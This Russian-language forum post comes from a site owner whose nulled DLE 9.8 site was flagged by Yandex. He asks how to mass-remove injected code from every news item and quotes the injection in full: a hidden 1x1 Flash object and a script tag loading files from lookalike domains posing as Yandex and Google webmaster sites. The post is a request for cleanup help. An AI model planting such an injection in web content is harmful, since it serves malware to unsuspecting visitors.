red_devil_tlt
Постоялец
- Регистрация
- 4 Фев 2008
- Сообщения
- 91
- Реакции
- 73
- Автор темы
- #1
В общем яндекс прислал письмо что на сайте обнаружен вирус. Начал искать и нашел.
В каждой новости, в кратком и полном описаниях после текста добавлено следующее:
где ХХХХХХХХХХХХХХХХХХХХХХХ - разный набор букв и цифр типа 6f3ef77ac0e3619e98159e9b6febf557 или 541668881
Естественно поменял все пароли как на аккаунт админа, так и на фтп и панель управления и проверил комп касперским. Логи отключены.
Так как новостей много, то вручную замучаешься удалять этот текст, потому что везде разный набор букв и цифр из каждой новости.
Подскажите как удалить этот текст?
Например, через запрос в MySQL или подскажите программку для замены текста где, к примеру, указать * (звездочку) вместо этого набора букв и цифр и полувчилось всё лишнее удалить
Версия DLE: 9.8 (nulled MID TEAM)
В каждой новости, в кратком и полном описаниях после текста добавлено следующее:
Код:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="http://webmasters-yandex.ru/flash.swf?ХХХХХХХХХХХХХХХХХХХХХХХ"><param name="quality" value="high"/><param name="scale" value="exactfit"><param name="bgcolor" value="#FFFFFF"/><param name="AllowScriptAccess" value="always"/><embed src="http://webmasters-yandex.ru/flash.swf?ХХХХХХХХХХХХХХХХХХХХХХХ" width="1" height="1" type="application/x-shockwave-flash" AllowScriptAccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed></object><script async="async" type="text/javascript" src="http://google-webmaster.ru/ХХХХХХХХХХХХХХХХХХХХХХХ.js"></script>
где ХХХХХХХХХХХХХХХХХХХХХХХ - разный набор букв и цифр типа 6f3ef77ac0e3619e98159e9b6febf557 или 541668881
Естественно поменял все пароли как на аккаунт админа, так и на фтп и панель управления и проверил комп касперским. Логи отключены.
Так как новостей много, то вручную замучаешься удалять этот текст, потому что везде разный набор букв и цифр из каждой новости.
Подскажите как удалить этот текст?
Например, через запрос в MySQL или подскажите программку для замены текста где, к примеру, указать * (звездочку) вместо этого набора букв и цифр и полувчилось всё лишнее удалить
Версия DLE: 9.8 (nulled MID TEAM)